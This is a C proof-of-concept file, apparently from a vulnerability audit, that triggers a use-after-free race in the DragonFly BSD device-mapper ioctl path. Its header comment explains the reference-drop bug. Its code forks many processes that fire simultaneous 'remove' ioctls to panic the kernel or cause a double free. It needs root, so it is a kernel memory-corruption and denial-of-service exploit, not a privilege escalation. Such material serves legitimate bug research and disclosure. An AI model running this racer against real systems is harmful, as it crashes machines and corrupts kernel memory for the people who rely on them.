/*
 * DF-2447 PoC -- dm_dev_remove_ioctl / dm_dev_resume_ioctl use-after-free.
 *
 * Bug: in sys/dev/disk/dm/dm_ioctl.c:
 *
 *   dm_dev_remove_ioctl()                dm_dev_resume_ioctl()
 *   ---------------------                ---------------------
 *   349: dmv = dm_dev_lookup(...)        501: dmv = dm_dev_lookup(...)
 *           ^^ ref_cnt++ (busy)                  ^^ ref_cnt++ (busy)
 *   354: is_open = dmv->is_open;         505-516: operate on dmv
 *   356: dm_dev_unbusy(dmv);  <-- DROP   518: dm_dev_unbusy(dmv); <-- DROP
 *   361: return dm_dev_remove(dmv);      521: dm_table_destroy(&dmv->...);
 *           ^^ dmv used AFTER ref drop          ^^ dmv used AFTER ref drop
 *
 * dm_dev_unbusy() (dm_dev.c:398) decrements ref_cnt and, when it hits 0,
 * cv_broadcast()s. dm_dev_remove() (dm_dev.c:305) -> disable_dev() removes
 * the device from the global list, waits for ref_cnt==0, then dm_dev_destroy()
 * -> dm_dev_free() -> kfree(dmv, M_DM).
 *
 * The window: between dm_dev_unbusy(dmv) and the subsequent dm_dev_remove(dmv)
 * (or dm_table_destroy(&dmv->...)) the caller holds NO reference. A concurrent
 * remover which had stacked its lookup on top (ref_cnt 1->2, then 2->1->0)
 * races through dm_dev_remove -> disable_dev (ref already 0) -> dm_dev_destroy
 * -> kfree(dmv). The first caller then calls dm_dev_remove(dmv) on FREED
 * memory: disable_dev() does TAILQ_REMOVE(&dm_dev_list, dmv, ...) reading
 * dmv->next_devlist (slab-poisoned 0xdeadc0de under INVARIANTS) and
 * lockmgr(&dmv->dev_mtx,...) on a freed lock -> use-after-free / double-free.
 *
 * This PoC drives the remove-vs-remove race: it repeatedly creates a dm device
 * and fires N concurrent "remove" ioctls at it through a pipe barrier so the
 * lookups stack. Hammer it; under INVARIANTS the UAF panics (slab/objcache
 * freed-object assertion, lockmgr-on-freed, or double-free).
 *
 * The resume path (line 518->521) has the identical drop-then-deref window;
 * the remove path is the cleaner trigger so this PoC focuses on it.
 *
 * PRIVILEGE NOTE: /dev/mapper/control is created 0640 root:operator
 * (device-mapper.c:181) and the dm module must be kldload-ed by root. The
 * whole dm ioctl surface is therefore root/operator-only. This is a
 * root->kernel memory-corruption / DoS bug; there is NO unprivileged path
 * (maxx uid 1001 not in wheel cannot open the control dev or kldload), so
 * uid0 escalation is blocked by privilege -- a VALID hard blocker (root->
 * kernel is game-over by definition). See VERDICT.md.
 *
 * Build:  cc -o dm_race_uaf dm_race_uaf.c -lprop
 * Run:    ./dm_race_uaf            (as root, after `kldload dm`)
 *         ./dm_race_uaf 8 4000     (racers=8, iterations=4000)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"
#define DEV_NAME "df2447racer"

static int g_ctlfd = -1;
static int g_iters = 4000;

/*
 * Build a libprop dictionary for a dm ioctl command. dm_check_version()
 * requires version major==4, minor<=16.
 */
static prop_dictionary_t
new_dm_dict(const char *command)
{
    prop_dictionary_t dict;
    prop_array_t ver;

    dict = prop_dictionary_create();
    if (dict == NULL) {
        fprintf(stderr, "[!] prop_dictionary_create failed\n");
        exit(1);
    }
    ver = prop_array_create();
    prop_array_add_uint32(ver, 4); /* major */
    prop_array_add_uint32(ver, 0); /* minor <= 16 */
    prop_array_add_uint32(ver, 0);
    prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
    prop_object_release(ver);

    prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
    prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
    return dict;
}

static int
do_cmd(const char *command)
{
    prop_dictionary_t dict;
    int rv;

    dict = new_dm_dict(command);
    prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
    rv = prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL);
    prop_object_release(dict);
    return rv;
}

/*
 * Racer child: wait on the barrier (read 1 byte), then fire a single "remove"
 * ioctl. The barrier makes all racers issue remove at the same instant so
 * their dm_dev_lookup() calls stack (ref_cnt 0->1->2...) before any
 * dm_dev_unbusy() runs -- which is exactly the precondition for the UAF.
 */
static void
racer(int barrier_fd)
{
    char b;
    int rv;

    /* block until parent says GO for this iteration */
    if (read(barrier_fd, &b, 1) != 1)
        _exit(0);
    rv = do_cmd("remove");
    (void)rv; /* ignore: 0 = we won, ENOENT = someone else removed first */
    _exit(0);
}

int
main(int argc, char **argv)
{
    int n_racers = 6;
    int iter, r, rv;
    int status;

    if (argc >= 2)
        n_racers = atoi(argv[1]);
    if (argc >= 3)
        g_iters = atoi(argv[2]);
    if (n_racers < 2)
        n_racers = 2;

    g_ctlfd = open(DM_CONTROL_DEV, O_RDWR);
    if (g_ctlfd < 0) {
        fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV, strerror(errno));
        fprintf(stderr, "    (need root; is `dm` loaded? run: kldload dm)\n");
        return 1;
    }

    printf("[*] DF-2447 dm_dev_remove_ioctl UAF racer\n");
    printf("[*] racers=%d iterations=%d dev=%s\n", n_racers, g_iters, DEV_NAME);
    printf("[*] hammering remove-vs-remove race; expect INVARIANTS panic /\n");
    printf("    slab freed-object deref / double-free / lockmgr-on-freed\n");
    fflush(stdout);

    for (iter = 0; iter < g_iters; iter++) {
        /*
         * Make sure no leftover device from a previous iteration; ignore
         * ENOENT. Then create a fresh device for the racers to fight over.
         */
        rv = do_cmd("remove");
        (void)rv;
        rv = do_cmd("create");
        if (rv != 0 && rv != EEXIST) {
            /* create failed for an unexpected reason -- report & skip */
            if ((iter % 500) == 0)
                fprintf(stderr, "[!] iter %d create rv=%d (%s)\n",
                    iter, rv, strerror(rv));
            continue;
        }

        /*
         * Spawn n_racers, each blocked on a pipe barrier. Then write one GO
         * byte per racer so they all fire "remove" simultaneously.
         */
        int pipes[64][2];
        pid_t pids[64];
        if (n_racers > 64)
            n_racers = 64;

        for (r = 0; r < n_racers; r++) {
            if (pipe(pipes[r]) < 0) {
                pids[r] = -1;
                continue;
            }
            pids[r] = fork();
            if (pids[r] == 0) {
                /* child: close write end, wait for GO, then race */
                close(pipes[r][1]);
                racer(pipes[r][0]);
                /* not reached */
            }
            close(pipes[r][0]); /* parent keeps write end */
        }
        /* fire the barrier -- all racers issue remove concurrently */
        for (r = 0; r < n_racers; r++) {
            if (pids[r] > 0) {
                char go = 'G';
                write(pipes[r][1], &go, 1);
                close(pipes[r][1]);
            }
        }
        /* reap */
        for (r = 0; r < n_racers; r++) {
            if (pids[r] > 0)
                waitpid(pids[r], &status, 0);
        }

        if ((iter % 500) == 0) {
            printf("[*] iter %d/%d survived so far\n", iter, g_iters);
            fflush(stdout);
        }
    }

    do_cmd("remove"); /* cleanup */
    close(g_ctlfd);
    printf("[!] exhausted %d iterations without a panic -- race not hit this run\n",
        g_iters);
    return 0;
}
